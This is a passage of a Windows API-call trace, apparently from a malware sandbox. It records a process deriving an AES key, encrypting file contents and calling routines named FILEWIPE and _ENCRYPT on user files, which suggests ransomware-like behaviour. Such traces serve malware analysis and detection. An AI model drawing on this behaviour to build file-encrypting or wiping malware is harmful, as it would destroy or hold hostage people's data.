phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.803] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.803] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.803] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.803] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.803] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.803] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.803] CryptHashData (hHash=0xe8f4062330, pbData=0xe8f418b600, dwDataLen=0x20, dwFlags=0x1) returned 1 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.803] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.804] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062330, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40623a0) returned 1 [0029.804] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.804] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.804] CryptDestroyHash (hHash=0xe8f4062330) returned 1 [0029.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.804] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0029.805] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0029.805] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x10000, lpOverlapped=0x0) returned 1 [0029.806] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x5ce1, lpOverlapped=0x0) returned 1 [0029.807] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0029.809] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0029.810] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0029.810] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0029.810] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.810] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.810] CryptGetKeyParam (in: hKey=0xe8f40623a0, dwParam=0x7, pbData=0xe8f4064b80, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b80*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0029.810] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.810] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.810] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.810] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.812] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.812] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15ce1, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0x15cf0) returned 1 [0029.812] CharLowerBuffW (in: lpsz="byte[89329]", cchLength=0xb | out: lpsz="byte[89329]") returned 0xb [0029.813] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.813] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.813] CryptEncrypt (in: hKey=0xe8f40623a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x15ce1, dwBufLen=0x15cf0 | out: pbData=0xe8f6000080*, pdwDataLen=0xe8f3dfdf68*=0x15cf0) returned 1 [0029.813] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.813] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.813] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.820] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.820] CryptDestroyKey (hKey=0xe8f40623a0) returned 1 [0029.820] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.820] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.820] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.820] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.820] CryptReleaseContext (hProv=0xe8f40632e0, dwFlags=0x0) returned 1 [0029.821] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.821] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.821] PeekMessageW (in: lpMsg=0xe8f3dfe5a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe5a0) returned 0 [0029.821] FreeLibrary (hLibModule=0x7ffe2a590000) returned 1 [0029.821] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.821] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.821] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.821] CloseHandle (hObject=0x188) returned 1 [0029.823] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.823] CloseHandle (hObject=0x1fc) returned 1 [0029.824] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.828] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.828] CharUpperBuffW (in: lpsz="FILEWIPE", cchLength=0x8 | out: lpsz="FILEWIPE") returned 0x8 [0029.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.828] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\9CI1 NkcJkj.swf" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\zz1u79slm s\\9ci1 nkcjkj.swf")) returned 0x20 [0029.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.828] FindFirstFileW (in: lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\ZZ1u79Slm S\\9CI1 NkcJkj.swf", lpFindFileData=0xe8f3dfe860 | out: lpFindFileData=0xe8f3dfe860) returned 0xe8f406a430 [0029.828] FindClose (in: hFindFile=0xe8f406a430 | out: hFindFile=0xe8f406a430) returned 1 [0029.828] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.828] CharLowerBuffW (in: lpsz="byte[89313]", cchLength=0xb | out: lpsz="byte[89313]") returned 0xb [0029.830] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.830] CharUpperBuffW (in: lpsz="MEMSET", cchLength=0x6 | out: lpsz="MEMSET") returned 0x6 [0029.830] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.830] CharLowerBuffW (in: lpsz="ptr:cdecl", cchLength=0x9 | out: lpsz="ptr:cdecl") returned 0x9 [0029.830] LoadLibraryW (lpLibFileName="msvcrt.dll") returned 0x7ffe2a8b0000 [0029.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0029.831] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="memset", cchWideChar=7, lpMultiByteStr=0xe8f4064850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="memset", lpUsedDefaultChar=0x0) returned 7 [0029.831] GetProcAddress (hModule=0x7ffe2a8b0000, lpProcName="memset") returned 0x7ffe2a8b1690 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.831] CharUpperBuffW (in: lpsz="_WINAPI_CREATEFILE", cchLength=0x12 | out: lpsz="_WINAPI_CREATEFILE") returned 0x12 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.831] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.832] CharLowerBuffW (in: lpsz="handle", cchLength=0x6 | out: lpsz="handle") returned 0x6 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.832] CharUpperBuffW (in: lpsz="_WINAPI_WRITEFILE", cchLength=0x11 | out: lpsz="_WINAPI_WRITEFILE") returned 0x11 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.832] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.832] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.833] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.833] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.833] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.833] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.833] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.834] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.834] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.834] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=11986) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.834] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x2ed2, lpOverlapped=0x0) returned 1 [0029.834] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x2ed2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.834] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=11986) returned 1 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.836] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.836] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.836] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.836] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.836] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.836] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.836] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.836] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.837] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 